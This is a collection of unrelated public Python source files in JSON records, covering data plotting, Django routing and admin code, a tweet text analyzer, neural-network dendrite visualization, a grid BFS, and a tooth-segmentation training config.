+{"seq_id":"25772327084","text":"# ---------------------------------------\n# CSCI 127, Joy and Beauty of Data\n# Program 6: Data Visualization\n# Nathan Stouffer and Kevin Browder\n# Last Modified: November 21, 2017\n# ---------------------------------------\n# This program takes the Pre-Disaster Mitigation Plan as a csv from MSU\n# and displays it in 3 different graphs (histogram, scatter and pie).\n# Each of these graphs displays a different aspect of the plan in a different insightful manner\n# ---------------------------------------\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# ---------------------------------------\n\ndef main():\n buildings_data_frame = pd.read_csv('buildings.csv') ##Import Pre-Mitigation plan into a pandas dataframe\n\n plt.figure(\"Figure 1\")\n\n plt.title(\"Histogram Counting Buildings Constructed per Decade on the MSU campus\")\n plt.xlabel(\"Year Built\")\n buildings_data_frame[\"Year Built\"].plot(kind=\"hist\", color=\"red\", grid=True, align='mid') ## Plots a histogram of the number of buildings built per decade\n\n\n plt.xticks(np.arange(1890, 2020)[::10])\n plot_2_data = pd.DataFrame(data = list(zip(buildings_data_frame[\"Square Feet\"], buildings_data_frame[\"Building Value\"])), columns=['Square Feet', 'Building Value'])\n plot_2_data.plot.scatter(x=\"Square Feet\", y=\"Building Value\", title=\"Scatterplot comparing Square Footage to Building Value\") ## Plots a scatter plot of square footage vs. building value\n\n frequency = [0, 0, 0]\n for value in buildings_data_frame[\"HazMat Risk\"]: ## This loop counts the frequency of each HazMat Risk rating and stores it in a list\n if value == \"H\":\n frequency[0] += 1\n elif value == \"M\":\n frequency[1] += 1\n elif value == \"L\":\n frequency[2] += 1\n\n plot_3_data = pd.DataFrame(data = frequency, columns=[' '], index=[\"High\", \"Medium\", \"Low\"])\n plot_3_data.plot(kind='pie', y=' ', title='Pie Chart Showing the HazMat Risk of Buildings at MSU') ## Plots a pie chart of HazMat Risk Ratings\n \n plt.show()\n\n# ---------------------------------------\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"nathanstouffer/csci-127","sub_path":"Student/November/program-6/Program-6.py","file_name":"Program-6.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"35848814284","text":"from django.urls import path\nfrom .views import *\n\nfrom . import consumers\n\nwebsocket_urlpatterns = [\n path('ws/chat/', consumers.ChatConsumer.as_asgi()),\n]\n\nurlpatterns = [\n path('getTickData/', get_tick_data),\n path('getImg/', get_pixels),\n path('getImgByDate/', get_pixels_by_date),\n path('img/'),\n]","repo_name":"JonPizza/Drawchat.xyz","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"428586365","text":"import re\n\nurlre = re.compile(r'http[s]{,1}://[^ ]+')\nmentionre = re.compile(r'@[\\w]+')\nhashre = re.compile(r'#[\\w]+')\nemotre = re.compile(\n r'(:\\w+\\:|\\<[\\/\\\\]?3|[\\(\\)\\\\\\D|\\*\\$][\\-\\^]?[\\:\\;\\=]|[\\:\\;\\=B8][\\-\\^]?[3DOPp\\@\\$\\*\\\\\\)\\(\\/\\|])(?=\\s|[\\!\\.\\?]|$)')\nfeatre = re.compile(\n r'(http[s]{,1}://[^ ]+|[\\w\\-]+|#\\w+|@\\w+|\\:\\w+\\:|\\<[\\/\\\\]?3|[\\(\\)\\\\\\D|\\*\\$][\\-\\^]?[\\:\\;\\=]|[\\:\\;\\=B8][\\-\\^]?[3DOPp\\@\\$\\*\\\\\\)\\(\\/\\|])(?=\\s|[;:,\\!\\.\\?]|$)')\n\n\ndef clean_html(html):\n cleaned = re.sub(r\"(?is)<(script|style).*?>.*?(\\1>)\", \"\", html.strip())\n cleaned = re.sub(r\"(?s)[\\n]?\", \"\", cleaned)\n cleaned = re.sub(r\"(?s)<[/\\w].*?>\", \" \", cleaned)\n cleaned = re.sub(r\" \", \" \", cleaned)\n return cleaned.strip()\n\n\ndef ngrams(items, n, prefix):\n return [prefix + '_'.join(items[start:start + n]) for start in range(0, len(items) - n + 1)]\n\n\ndef get_rich_analyzer(word_ngrams=None, char_ngrams=None, stopwords=None):\n def analyzer(doc):\n return rich_analyzer(doc, word_ngrams, char_ngrams, stopwords)\n\n return analyzer\n\n\ndef rich_analyzer(doc, word_ngrams=None, char_ngrams=None, stopwords=None):\n if word_ngrams is None:\n word_ngrams = list()\n if char_ngrams is None:\n char_ngrams = list()\n if stopwords is None:\n stopwords = set()\n else:\n stopwords = set(stopwords)\n\n doc = clean_html(doc)\n output = list()\n output.extend(featre.findall(doc))\n output = [x for x in output if len(x) > 1 and not x in stopwords]\n\n if word_ngrams is None:\n word_ngrams = list()\n ngm = list()\n for n in word_ngrams:\n ngm.extend(ngrams(output, n, '_W%iG_' % n))\n output.extend(ngm)\n\n ngm = list()\n for n in char_ngrams:\n ngm.extend(ngrams(doc, n, '_C%iG_' % n))\n output.extend(ngm)\n\n for alttag, regex in [('_URL', urlre), ('_MENTION', mentionre), ('_HASHTAG', hashre), ('_EMOTICON', emotre)]:\n output.extend([alttag for _ in regex.findall(doc)])\n return output\n\n\nif __name__ == '__main__':\n example = 'test #test test :) ;) @test http://test.com'\n output = rich_analyzer(example, [2, 3], [3])\n print(output)\n","repo_name":"aesuli/semeval2016-task4","sub_path":"rich_analyzer.py","file_name":"rich_analyzer.py","file_ext":"py","file_size_in_byte":2148,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"3943921407","text":"from django.contrib import admin\nfrom django.contrib.auth.models import Group, User\n\nfrom spare_market.models import records\nfrom super_market.models import records as super_records\n\nadmin.site.unregister(Group)\nadmin.site.unregister(User)\nadmin.site.site_url = \"/inventory/all\"\n\n@admin.register(records)\nclass recordsAdmin(admin.ModelAdmin):\n list_display = ('__str__', 'model_id', 'stock')\n search_fields = ['part_number']\n list_filter = ['model_id']\n ordering = ['part_number']\n list_per_page = 10\n actions = None\n def save_model(self, request, obj, form, change):\n super_item = super_records.objects.filter(part_number=obj.part_number, model_id=obj.model_id, status_id=False)\n if len(super_item) < obj.stock:\n obj.stock = obj.stock - len(super_item)\n super_item.update(status_id=True)\n else:\n if obj.stock > 0:\n for i in super_item[:obj.stock]:\n i.status_id=True\n i.save()\n obj.stock = 0\n super().save_model(request, obj, form, change)","repo_name":"ronsalazar08/dies","sub_path":"dies/spare_market/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"37409366742","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport seaborn as sns\nimport torch\n\nfrom .metrics import (\n contexts_by_class,\n dendrite_activations_by_unit,\n dendrite_duty_cycle,\n dendrite_overlap,\n dendrite_overlap_matrix,\n entropy,\n hidden_activations_by_unit,\n mean_selected_activations,\n percent_active_dendrites,\n representation_overlap_matrix,\n representation_overlap_values,\n winning_segment_indices,\n)\n\n\ndef plot_dendrite_activations(dendrite_activations, winning_mask, mask_values=None,\n unit_to_plot=0):\n \"\"\"\n Returns a heatmap of dendrite activations for a single unit, plotted using\n matplotlib.\n\n :param dendrite_activations: 3D torch tensor with shape (batch_size, num_units,\n num_segments) in which entry b, i, j gives the\n activation of the ith unit's jth dendrite segment for\n example b\n :param winning_mask: 3D torch tensor with shape (batch_size, num_units,\n num_segments) in which entry b, i, j is 1 iff the ith unit's\n jth dendrite segment won for example b, 0 otherwise\n :param mask_values: list of the routing function's mask values for output unit\n `unit_to_plot`; unused if None\n :param unit_to_plot: index of the unit for which to plot dendrite activations;\n plots activations of unit 0 by default\n \"\"\"\n with torch.no_grad():\n\n num_examples, num_units, num_segments = dendrite_activations.size()\n\n x_labels = [\"example {}\".format(j) for j in range(num_examples)]\n if mask_values is not None:\n assert len(mask_values) == num_examples\n x_labels = [\"{} [{}]\".format(label, mask_values[j])\n for j, label in enumerate(x_labels)]\n y_labels = [\"segment {}\".format(j) for j in range(num_segments)]\n\n # Find the range of activation values to anchor the colorbar\n vmax = dendrite_activations[:, unit_to_plot, :].abs().max().item()\n vmin = -1.0 * vmax\n\n # Use matplotlib to plot the activation heatmap\n plt.cla()\n fig, ax = plt.subplots()\n ax.imshow(dendrite_activations[:, unit_to_plot, :].T.detach().cpu().numpy(),\n cmap=\"coolwarm_r\", vmin=vmin, vmax=vmax)\n\n ax.set_xticks(np.arange(num_examples))\n ax.set_yticks(np.arange(num_segments))\n\n ax.set_xticklabels(x_labels)\n ax.set_yticklabels(y_labels)\n\n plt.setp(ax.get_xticklabels(), rotation=45, ha=\"right\", rotation_mode=\"anchor\")\n plt.tight_layout()\n\n # Annotate the winning activation for each example\n winning_segments = torch.argmax(winning_mask[:, unit_to_plot, :], dim=1)\n for n, j in enumerate(winning_segments):\n val = round(dendrite_activations[n, unit_to_plot, j].item(), 2)\n ax.text(n, j, val, ha=\"center\", va=\"center\", color=\"w\")\n\n figure = plt.gcf()\n return figure\n\n\ndef plot_percent_active_dendrites(winning_mask, targets, category_names=None,\n unit_to_plot=0, annotate=True):\n \"\"\"\n Returns a heatmap with shape (number of segments, number of categories) where cell\n j, c in the heatmap gives the percentage of inputs in category c for which segment\n j is active (for a single unit).\n\n :param winning_mask: 3D torch tensor with shape (batch_size, num_units,\n num_segments) in which entry b, i, j is 1 iff the ith unit's\n jth dendrite segment won for example b, 0 otherwise\n :param targets: 1D torch tensor with shape (batch_size,) where entry b gives the\n target label for example b\n :param category_names: list of category names to label each column of the heatmap;\n unused if None or `annotate` is False\n :param unit_to_plot: index of the unit for which to plot percent active dendrites;\n plots unit 0 by default\n :param annotate: boolean value indicating whether to annotate all items along the x\n and y axes, as well as individual cell values\n \"\"\"\n _, _, num_segments = winning_mask.size()\n num_categories = 1 + targets.max().item()\n\n percent_active = percent_active_dendrites(winning_mask, targets)\n percent_active = percent_active[unit_to_plot, :, :]\n percent_active = percent_active.detach().cpu().numpy()\n\n # Find the maximum percentage activation value to anchor the colorbar, and use\n # matplotlib to plot the heatmap\n vmax = np.max(percent_active)\n\n plt.cla()\n fig, ax = plt.subplots()\n ax.imshow(percent_active, cmap=\"copper\", vmin=0.0, vmax=vmax)\n\n if annotate:\n\n x_labels = [\"category {}\".format(j) for j in range(num_categories)]\n if category_names is not None:\n x_labels = category_names\n y_labels = [\"segment {}\".format(j) for j in range(num_segments)]\n\n ax.set_xticks(np.arange(num_categories))\n ax.set_yticks(np.arange(num_segments))\n\n ax.set_xticklabels(x_labels)\n ax.set_yticklabels(y_labels)\n plt.setp(ax.get_xticklabels(), rotation=45, ha=\"right\", rotation_mode=\"anchor\")\n\n # Annotate all percentage activations\n for i in range(percent_active.shape[0]):\n for j in range(percent_active.shape[1]):\n val = np.round(percent_active[i, j], 2)\n ax.text(j, i, val, ha=\"center\", va=\"center\", color=\"w\")\n\n else:\n ax.set_xlabel(\"category\")\n ax.set_ylabel(\"segment\")\n\n plt.tight_layout()\n figure = plt.gcf()\n return figure\n\n\ndef plot_mean_selected_activations(dendrite_activations, winning_mask, targets,\n category_names=None, unit_to_plot=0, annotate=True):\n \"\"\"\n Returns a heatmap with shape (number of segments, number of categories) where cell\n j, c in the heatmap gives the mean activation of the segment j over all instances\n of category c for which segment j became active. As there are multiple dendrite\n segments, the heatmap is created just for the specified unit.\n\n :param dendrite_activations: 3D torch tensor with shape (batch_size, num_units,\n num_segments) in which entry b, i, j gives the\n activation of the ith unit's jth dendrite segment for\n example b\n :param winning_mask: 3D torch tensor with shape (batch_size, num_units,\n num_segments) in which entry b, i, j is 1 iff the ith unit's\n jth dendrite segment won for example b, 0 otherwise\n :param targets: 1D torch tensor with shape (batch_size,) where entry b gives the\n target label for example b\n :param category_names: list of category names to label each column of the heatmap;\n unused if None or `annotate` is False\n :param unit_to_plot: index of the unit for which to plot mean selected activations;\n plots unit 0 by default\n :param annotate: boolean value indicating whether to annotate all items along the x\n and y axes, as well as individual cell values\n \"\"\"\n _, num_units, num_segments = dendrite_activations.size()\n num_categories = 1 + targets.max().item()\n\n assert 0 <= unit_to_plot < num_units\n\n msa = mean_selected_activations(dendrite_activations, winning_mask, targets)\n msa = msa[unit_to_plot, :, :]\n msa = msa.detach().cpu().numpy()\n\n # Find the largest absolute mean selected activation value to anchor the colorbar,\n # and use matplotlib to plot the heatmap\n vmax = np.nanmax(np.abs(msa))\n vmin = -vmax\n\n plt.cla()\n fig, ax = plt.subplots()\n ax.imshow(msa, cmap=\"coolwarm_r\", vmin=vmin, vmax=vmax)\n\n if annotate:\n\n x_labels = [\"category {}\".format(j) for j in range(num_categories)]\n if category_names is not None:\n x_labels = category_names\n y_labels = [\"segment {}\".format(j) for j in range(num_segments)]\n\n ax.set_xticks(np.arange(num_categories))\n ax.set_yticks(np.arange(num_segments))\n\n ax.set_xticklabels(x_labels)\n ax.set_yticklabels(y_labels)\n plt.setp(ax.get_xticklabels(), rotation=45, ha=\"right\", rotation_mode=\"anchor\")\n\n # Annotate all mean selected activations\n for i in range(msa.shape[0]):\n for j in range(msa.shape[1]):\n val = round(msa[i, j], 2)\n ax.text(j, i, val, ha=\"center\", va=\"center\", color=\"w\")\n\n else:\n ax.set_xlabel(\"category\")\n ax.set_ylabel(\"segment\")\n\n plt.tight_layout()\n figure = plt.gcf()\n return figure\n\n\ndef plot_dendrite_activations_by_unit(dendrite_activations, winning_mask, targets,\n category_names=None, num_units_to_plot=128):\n \"\"\"\n Returns a heatmap with shape (num_categories, num_units) where cell c, i gives the\n mean value (post-sigmoid) of the selected dendrite activation for unit i over all\n given examples from category c.\n\n :param dendrite_activations: 3D torch tensor with shape (batch_size, num_units,\n num_segments) in which entry b, i, j gives the\n activation of the ith unit's jth dendrite segment for\n example b\n :param winning_mask: 3D torch tensor with shape (batch_size, num_units,\n num_segments) in which entry b, i, j is 1 iff the ith unit's\n jth dendrite segment won for example b, 0 otherwise\n :param targets: 1D torch tensor with shape (batch_size,) where entry b gives the\n target label for example b\n :param category_names: list of category names to label each column of the heatmap;\n unused if None\n :param num_units_to_plot: an integer which gives how many columns to show, for ease\n of visualization; only the first num_units_to_plot units\n are shown\n \"\"\"\n activations = dendrite_activations_by_unit(dendrite_activations, winning_mask,\n targets)\n if num_units_to_plot is not None:\n activations = activations[:, :num_units_to_plot]\n activations = activations.detach().cpu().numpy()\n\n plt.cla()\n fig, ax = plt.subplots()\n ax.imshow(activations, cmap=\"coolwarm_r\", vmin=0.0, vmax=1.0)\n\n ax.set_xlabel(\"hidden unit\")\n ax.set_ylabel(\"category\")\n\n plt.tight_layout()\n figure = plt.gcf()\n return figure\n\n\ndef plot_hidden_activations_by_unit(activations, targets, category_names=None,\n num_units_to_plot=128):\n \"\"\"\n Returns a heatmap with shape (num_categories, num_units) where cell c, i gives the\n mean value of hidden activations for unit i over all given examples from category\n c.\n\n :param activations: 2D torch tensor with shape (batch_size, num_units) where entry\n b, i gives the activation of unit i for example b\n :param targets: 1D torch tensor with shape (batch_size,) where entry b gives the\n target label for example b\n :param category_names: list of category names to label each column of the heatmap;\n unused if None\n :param num_units_to_plot: an integer which gives how many columns to show, for ease\n of visualization; only the first num_units_to_plot units\n are shown\n \"\"\"\n activations = hidden_activations_by_unit(activations, targets)\n\n if num_units_to_plot is not None:\n activations = activations[:, :num_units_to_plot]\n activations = activations.detach().cpu().numpy()\n\n plt.cla()\n fig, ax = plt.subplots()\n max_val = np.abs(activations).max()\n ax.imshow(activations, cmap=\"PiYG\", vmin=-max_val, vmax=max_val)\n\n ax.set_xlabel(\"hidden unit\")\n ax.set_ylabel(\"category\")\n\n plt.tight_layout()\n figure = plt.gcf()\n return figure\n\n\ndef plot_contexts_by_class(contexts, targets, dims_to_plot=64):\n \"\"\"\n Returns a heatmap with shape (num_categories, dim_context) where cell c, k gives\n the fraction of instances of category c for which feature/dimension k of the\n context signal generated for an input of said class was non-zero. All values are in\n the range [0, 1].\n\n :param contexts: 2D torch tensor with shape (batch_size, dim_context) where row b\n gives the context signal for the bth input\n :param targets: 1D torch tensor with shape (batch_size,) where entry b gives the\n target label for example b\n :param dims_to_plot: an integer which gives how many columns/features to show, for\n ease of visualization; only the first dims_to_plot units are\n shown\n \"\"\"\n contexts = contexts_by_class(contexts, targets)\n\n if dims_to_plot is not None:\n contexts = contexts[:, :dims_to_plot]\n contexts = contexts.detach().cpu().numpy()\n\n plt.cla()\n fig, ax = plt.subplots()\n ax.imshow(contexts, cmap=\"binary\", vmin=0)\n\n ax.set_xlabel(\"context feature\")\n ax.set_ylabel(\"category\")\n\n plt.tight_layout()\n figure = plt.gcf()\n return figure\n\n\ndef plot_dendrite_overlap_matrix(winning_mask, targets, category_names=None,\n unit_to_plot=0, annotate=True):\n \"\"\"\n Returns a heatmap with shape (number of categories, number of categories) where\n cell c, k gives the overlap in dendrite activations between categories c and k for\n the dendrite segments of the specified unit. The value in each cell can be\n interpreted as a similarity measure in dendrite activations between categories c\n and k; if the exact same segments are active for the same fraction of instances\n across both categories, the dendrite overlap is 1; if any segment that is active\n for category c and inactive for category k (and vice-versa), the dendrite overlap\n is 0. The resulting heatmap is symmetric.\n\n :param winning_mask: 3D torch tensor with shape (batch_size, num_units,\n num_segments) in which entry b, i, j is 1 iff the ith unit's\n jth dendrite segment won for example b, 0 otherwise\n :param targets: 1D torch tensor with shape (batch_size,) where entry b gives the\n target label for example b\n :param category_names: list of category names to label each column of the heatmap;\n unused if None or `annotate` is False\n :param unit_to_plot: index of the unit for which to plot the overlap matrix; plots\n unit 0 by default\n :param annotate: boolean value indicating whether to annotate all items along the x\n and y axes, as well as individual cell values\n \"\"\"\n num_categories = 1 + targets.max().item()\n\n overlap_matrix = dendrite_overlap_matrix(winning_mask, targets)\n overlap_matrix = overlap_matrix[unit_to_plot, :, :]\n overlap_matrix = overlap_matrix.detach().cpu().numpy()\n\n # `overlap_matrix` is symmetric, hence we can set all values above the main\n # diagonal to np.NaN so they don't appear in the visualization\n for i in range(num_categories):\n for j in range(i + 1, num_categories):\n overlap_matrix[i, j] = np.nan\n\n # Anchor the colorbar to the range [0, 1]\n plt.cla()\n fig, ax = plt.subplots()\n ax.imshow(overlap_matrix, cmap=\"OrRd\", vmin=0.0, vmax=1.0)\n\n if annotate:\n\n labels = [\"category {}\".format(j) for j in range(num_categories)]\n if category_names is not None:\n labels = category_names\n\n ax.set_xticks(np.arange(num_categories))\n ax.set_yticks(np.arange(num_categories))\n\n ax.set_xticklabels(labels)\n ax.set_yticklabels(labels)\n plt.setp(ax.get_xticklabels(), rotation=45, ha=\"right\", rotation_mode=\"anchor\")\n\n # Annotate all overlap values\n for i in range(num_categories):\n for j in range(i + 1):\n val = np.round(overlap_matrix[i, j].item(), 2)\n ax.text(j, i, val, ha=\"center\", va=\"center\", color=\"w\")\n\n else:\n ax.set_xlabel(\"category\")\n ax.set_ylabel(\"category\")\n\n plt.tight_layout()\n figure = plt.gcf()\n return figure\n\n\ndef plot_overlap_scores_distribution(winning_mask, targets):\n \"\"\"\n Returns a histogram which gives the distribution of dendrite overlap scores for all\n units over an input batch. Each data point in the histogram is the overlap score\n corresponding to the dendrite segments of a single unit. See `dendrite_overlap` for\n more details.\n\n :param winning_mask: 3D torch tensor with shape (batch_size, num_units,\n num_segments) in which entry b, i, j is 1 iff the ith unit's\n jth dendrite segment won for example b, 0 otherwise\n :param targets: 1D torch tensor with shape (batch_size,) where entry b gives the\n target label for example b\n \"\"\"\n overlap_scores = dendrite_overlap(winning_mask, targets)\n\n plt.cla()\n plt.hist(x=overlap_scores.tolist(), bins=np.arange(0.0, 1.0, 0.05), color=\"m\",\n edgecolor=\"k\")\n\n plt.xticks(np.arange(0.0, 1.0, 0.1))\n plt.xlabel(\"Overlap score\")\n plt.ylabel(\"Segment frequency\")\n plt.xlim(0.0, 1.0)\n plt.grid(True)\n plt.tight_layout()\n\n figure = plt.gcf()\n return figure\n\n\ndef plot_entropy_distribution(winning_mask, targets):\n \"\"\"\n Returns a histogram which gives the distribution of entropy values of dendrite\n segments over an input batch. Each data point in the histogram is the observed\n entropy of a set of dendrite segments corresponding to a single unit. The entropy\n is the computed using the empirical distribution of the fraction of instances for\n which each segment became active.\n\n :param winning_mask: 3D torch tensor with shape (batch_size, num_units,\n num_segments) in which entry b, i, j is 1 iff the ith unit's\n jth dendrite segment won for example b, 0 otherwise\n \"\"\"\n _, num_units, _ = winning_mask.size()\n\n duty_cycle = dendrite_duty_cycle(winning_mask)\n\n entropies = [entropy(duty_cycle[unit, :]) for unit in range(num_units)]\n max_entropy = entropies[0][1]\n entropies = [ent[0] for ent in entropies]\n\n plt.cla()\n plt.hist(x=entropies, bins=np.arange(0.0, max_entropy, 0.1), color=\"g\",\n edgecolor=\"k\")\n\n plt.xticks(np.arange(0.0, 1.0, 0.2))\n plt.xlabel(\"Entropy (max entropy: {})\".format(round(max_entropy, 2)))\n plt.ylabel(\"Segment frequency\")\n plt.xlim(0.0, max_entropy)\n plt.grid(True)\n plt.tight_layout()\n\n figure = plt.gcf()\n return figure\n\n\ndef plot_representation_overlap_matrix(activations, targets, category_names=None,\n annotate=True):\n \"\"\"\n Returns a heatmap with shape (num_categories, num_categories) where cell c1, c2\n gives the mean value of pairwise representation overlaps across all pairs of\n examples between classes c1 and c2. Each individual pairwise representation\n overlap is simply the fraction of hidden units that are active in both examples.\n\n :param activations: 2D torch tensor with shape (batch_size, num_units) where entry\n b, i gives the activation of unit i for example b\n :param targets: 1D torch tensor with shape (batch_size,) where entry b gives the\n target label for example b\n :param category_names: list of category names to label each column of the heatmap;\n unused if None or `annotate` is False\n :param annotate: boolean value indicating whether to annotate all items along the x\n and y axes, as well as individual cell values\n \"\"\"\n num_categories = 1 + targets.max().item()\n\n overlap_matrix = representation_overlap_matrix(activations, targets)\n overlap_matrix = overlap_matrix.detach().cpu().numpy()\n\n # `overlap_matrix` is symmetric, hence we can set all values above the main\n # diagonal to np.NaN so they don't appear in the visualization\n for i in range(num_categories):\n for j in range(i + 1, num_categories):\n overlap_matrix[i, j] = np.nan\n\n # Anchor the colorbar to the range [0, 1]\n plt.cla()\n fig, ax = plt.subplots()\n ax.imshow(overlap_matrix, cmap=\"YlOrBr\", vmin=0.0, vmax=1.0)\n\n if annotate:\n\n labels = [\"category {}\".format(j) for j in range(num_categories)]\n if category_names is not None:\n labels = category_names\n\n ax.set_xticks(np.arange(num_categories))\n ax.set_yticks(np.arange(num_categories))\n\n ax.set_xticklabels(labels)\n ax.set_yticklabels(labels)\n plt.setp(ax.get_xticklabels(), rotation=45, ha=\"right\", rotation_mode=\"anchor\")\n\n # Annotate all overlap values\n for i in range(num_categories):\n for j in range(i + 1):\n val = np.round(overlap_matrix[i, j].item(), 2)\n ax.text(j, i, val, ha=\"center\", va=\"center\", color=\"w\")\n\n else:\n ax.set_xlabel(\"category\")\n ax.set_ylabel(\"category\")\n\n plt.tight_layout()\n figure = plt.gcf()\n return figure\n\n\ndef plot_representation_overlap_distributions(activations, targets):\n \"\"\"\n Returns a tuple of histograms that show pairwise representation overlaps between\n samples whose representations are given by `activations`. The first histogram\n includes only inter-class pairs, while the second histogram only intra-class pairs;\n self-paired examples are excluded in the latter case.\n\n :param activations: 2D torch tensor with shape (batch_size, num_units) where entry\n b, i gives the activation of unit i for example b\n :param targets: 1D torch tensor with shape (batch_size,) where entry b gives the\n target label for example b\n \"\"\"\n inter_class_ol, intra_class_ol = representation_overlap_values(activations,\n targets)\n figures = []\n\n for fig_num, ol in enumerate((inter_class_ol, intra_class_ol)):\n\n plt.figure(fig_num)\n plt.hist(x=ol, bins=np.arange(0.0, 1.0, 0.02), color=\"tab:blue\", edgecolor=\"k\")\n\n plt.xticks(np.arange(0.0, 1.0, 0.2))\n plt.xlabel(\"Fraction of overlap\")\n plt.ylabel(\"Number of pairs\")\n plt.xlim(0.0, 1.0)\n plt.grid(True)\n plt.tight_layout()\n\n figures.append(plt.gcf())\n\n return tuple(figures)\n\n\ndef plot_winning_segment_distributions(winning_mask, num_units_to_plot=1, seed=0):\n \"\"\"\n Plot the distribution of winning segments for the list of units (defaults to just\n the first):\n\n :param winning_mask: the winning mask of segments;\n shape num_samples x num_units x num_segments\n :param num_units_to_plot: the number of units to plot\n :param seed: set the random seed for reproducibility.\n \"\"\"\n\n # Randomly sample 'num_units_to_plot'.\n assert num_units_to_plot > 0\n num_units = winning_mask.shape[1]\n units = torch.randperm(num_units, generator=get_random_generator(seed))\n units = units[:num_units_to_plot].tolist()\n\n # Deduce winnings indices.\n winning_indices = winning_segment_indices(winning_mask, units)\n\n # Generate subplots.\n fig, axs = plt.subplots(1, num_units_to_plot, figsize=(6 * num_units_to_plot, 4))\n if num_units_to_plot == 1:\n axs = [axs] # ensure this is subscriptable\n\n # Generate a plot for each unit.\n num_segments = winning_mask.shape[2]\n for i, unit in enumerate(units):\n indices = winning_indices[:, i].cpu().numpy()\n plot_winning_segment_distribution(indices, num_segments, unit=unit, ax=axs[i])\n\n fig.tight_layout()\n return fig\n\n\n# ----------------\n# Helper functions\n# ----------------\n\ndef get_random_generator(seed):\n g = torch.Generator()\n g.manual_seed(seed)\n return g\n\n\ndef plot_winning_segment_distribution(winning_indices, num_segments, unit=0, ax=None):\n binrange = (0, num_segments)\n if ax is None:\n _, ax = plt.subplots()\n sns.histplot(\n winning_indices,\n kde=True,\n stat=\"probability\",\n binwidth=1,\n binrange=binrange,\n ax=ax,\n )\n ax.set_xlabel(\"Segment\")\n ax.set_title(f\"Probability of Activation of Unit {unit}\")\n return ax\n","repo_name":"numenta/nupic.research","sub_path":"packages/dendrites/src/nupic/research/frameworks/dendrites/metrics/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":24708,"program_lang":"python","lang":"en","doc_type":"code","stars":96,"dataset":"github-code","pt":"78"}
+{"seq_id":"17256152922","text":"directions = [[-1,0], [0,1], [1,0], [0,-1]]\n\n\n\n\n\n# Time Complexity : O(N)\n# Space Complexity : O(N)\n\ndef traversalBFS(matrix):\n seen = [[False for i in range(len(matrix[0]))] for j in range(len(matrix))]\n # print(seen)\n values = []\n queue = [[0,0]]\n while(len(queue)):\n currentPos = queue.pop(0)\n row = currentPos[0]\n col = currentPos[1]\n if (row < 0 or col < 0 or row >= len(matrix) or col >= len(matrix[0]) or seen[row][col] == True):\n continue\n seen[row][col] = True\n values.append(matrix[row][col])\n for i in range(len(directions)):\n currentDir = directions[i]\n queue.append([row+currentDir[0], col+currentDir[1]])\n\n return values\n \n\n\n\n\nmatrix = [[1+i+5*j for i in range(5)] for j in range(4)]\n# print(matrix)\nprint(traversalBFS(matrix))","repo_name":"yucifer/data-structures-and-interview-questions","sub_path":"2D-Arrays/bfs_2dArray.py","file_name":"bfs_2dArray.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"43436171865","text":"config = {\n \"tr_set\":{\n \"optimizer\":{\n \"lr\": 1e-1,\n \"NAME\": 'sgd',\n \"momentum\": 0.9,\n \"weight_decay\": 1.0e-4,\n },\n \"scheduler\":{\n \"sched\": 'cosine', \n \"warmup_epochs\": 0,\n \"full_steps\": 40,\n \"schedueler_step\": 15000000,\n \"min_lr\": 1e-5,\n },\n \"loss\":{\n \"cbl_loss_1\": 1,\n \"cbl_loss_2\": 1,\n \"tooth_class_loss_1\":1,\n \"tooth_class_loss_2\":1,\n \"offset_1_loss\": 0.03,\n \"offset_1_dir_loss\": 0.03,\n \"chamf_1_loss\": 0.15,\n }\n },\n #Changing the model parameters does not actually alter the model parameters (not implemented).\n \"model_parameter\":{\n \"input_feat\": 6,\n \"stride\": [1, 1],\n \"nsample\": [36, 24],\n \"blocks\": [2, 3],\n \"block_num\": 2,\n \"planes\": [16, 32],\n \"crop_sample_size\": 3072,\n },\n\n \"boundary_sampling_info\":{\n \"orginal_data_obj_path\": \"G:/tooth_seg/main/all_datas/chl/3D_scans_per_patient_obj_files\", # modify this line, original obj data parent path(it`s not preprocessed data path!).\n \"orginal_data_json_path\": \"G:/tooth_seg/main/all_datas/chl/ground-truth_labels_instances\", # modify this line, original json data parent path.\n \"bdl_cache_path\": \"temporary_folder\", # modify this line, it is just caching folder.\n \"bdl_ratio\": 0.7,\n \"num_of_bdl_points\": 20000,\n \"num_of_all_points\": 24000,\n },\n #Changing the model parameters does not actually alter the model parameters (not implemented).\n \"fps_model_info\":{\n \"model_parameter\" :{\n \"input_feat\": 6,\n \"stride\": [1, 4, 4, 4, 4],\n \"nstride\": [2, 2, 2, 2],\n \"nsample\": [36, 24, 24, 24, 24],\n \"blocks\": [2, 3, 4, 6, 3],\n \"block_num\": 5,\n \"planes\": [32, 64, 128, 256, 512],\n \"crop_sample_size\": 3072,\n },\n \"load_ckpt_path\": \"temp_exp_data/ckpts/0215_cbl1_1_cbl2_1_val\" # modify this line. the trained checkpoint path of tgnet_fps, eg: ckpts/tgnet_fps.h5!\n }\n\n}","repo_name":"limhoyeon/ToothGroupNetwork","sub_path":"train_configs/tgnet_bdl.py","file_name":"tgnet_bdl.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"78"}
